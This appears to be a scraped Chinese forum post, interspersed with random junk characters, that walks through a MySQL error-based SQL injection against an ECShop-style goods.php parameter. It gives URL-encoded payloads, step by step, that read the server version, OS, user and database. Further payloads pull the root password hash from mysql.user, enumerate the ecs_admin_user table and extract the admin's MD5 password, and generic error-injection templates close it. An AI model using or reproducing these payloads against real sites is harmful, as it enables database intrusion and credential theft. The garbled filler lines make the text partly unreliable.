判断版本号
) a4 `4 e7 F! H. g: s J1 F+ Uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ t9 t P- M! j6 ?9 `" F9 t
/ Q* p. ^1 V N; E8 ]" l判断系统
) T1 R" |7 ]. q7 Q! m1 b: R+ R6 P# H4 T, R9 v+ J. X
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! f( d4 k0 l- b: M8 p/ v8 c
l" @8 ?! V/ Z* \: L7 _7 n! p' n, N# L7 l T7 S
6 K3 }# a) |, S当前 user()7 B$ S- Y4 i* C
" V! {0 Y2 C+ ~- I# u- L. j# f( x
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 T8 H8 d) z: {$ c+ m: i/ E
8 J- N# X: j# M$ K
8 N& r/ b8 \( D( y' p& }9 T8 o1 `6 D# O k* b# m
当前 database()
5 y4 |/ c$ v7 |4 r, s# v2 i) E* f# Khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& N: b8 @) s9 O. x( Y" t0 Z- w$ i& I2 I9 ]
6 \* ? ^" \2 C
: ~, d( T& H+ U3 u* O2 S% x Z
# j* Z; J& l0 c. _; g" u) D3 T! Mroot hash. P- r- i! v1 R8 n+ P' t! ]
+ d! N- k5 [" c1 e4 T' K6 Hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" ]. h+ ~ B" l% r
, i* Q/ i8 @/ e8 b4 w8 X& w/ j3 `2 Q
! A. g! g+ j" Z/ e D) V6 b- _5 g& |1 F+ g9 u2 a. Y
当前 数据库表名0 D/ P0 { s, p d# }
' B# [8 i7 Y4 _
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) ?; n s! ^* U
1 a7 g) H. o8 O* K) u- z; `
2 d9 T5 I$ Q x' r9 q, B7 Q" u0 }8 f# F
当前 数据库 user_name 字段
0 @8 G! D+ F6 N8 k1 v3 c- k2 |, t2 n- H
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 C, ^3 ~$ H+ N2 n' a- v1 e
6 j: p# R; `6 `) Z" s7 y, j当前 数据库 字段 password. d, b% X5 ~" {6 w$ M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 H. c, C& `5 x- n' ]
+ Q* B1 ?( M8 a
, |3 Y- R3 R) f# G
% e- t) h* G, v4 S
获得 admin passwd(md5)
/ K, p0 o4 N1 D! A3 @( N( Q( N$ R$ d5 t
9 B* q) R ~' b4 W1 v1 mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* b: J8 N0 m S& d) x. X7 V/ Y
- `, V7 x3 U: X' h0 G, R; q
报错注射; k$ P# @" O5 ~6 j# b% `! \
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
9 h( ^+ c1 I, a* F' S; U1 j2 @1 Q2 B% J' E1 N$ {/ L6 t3 L, z
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)0 K1 e c3 u) E/ E! X/ x. m
! M. a9 L$ B" b5 H* f
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |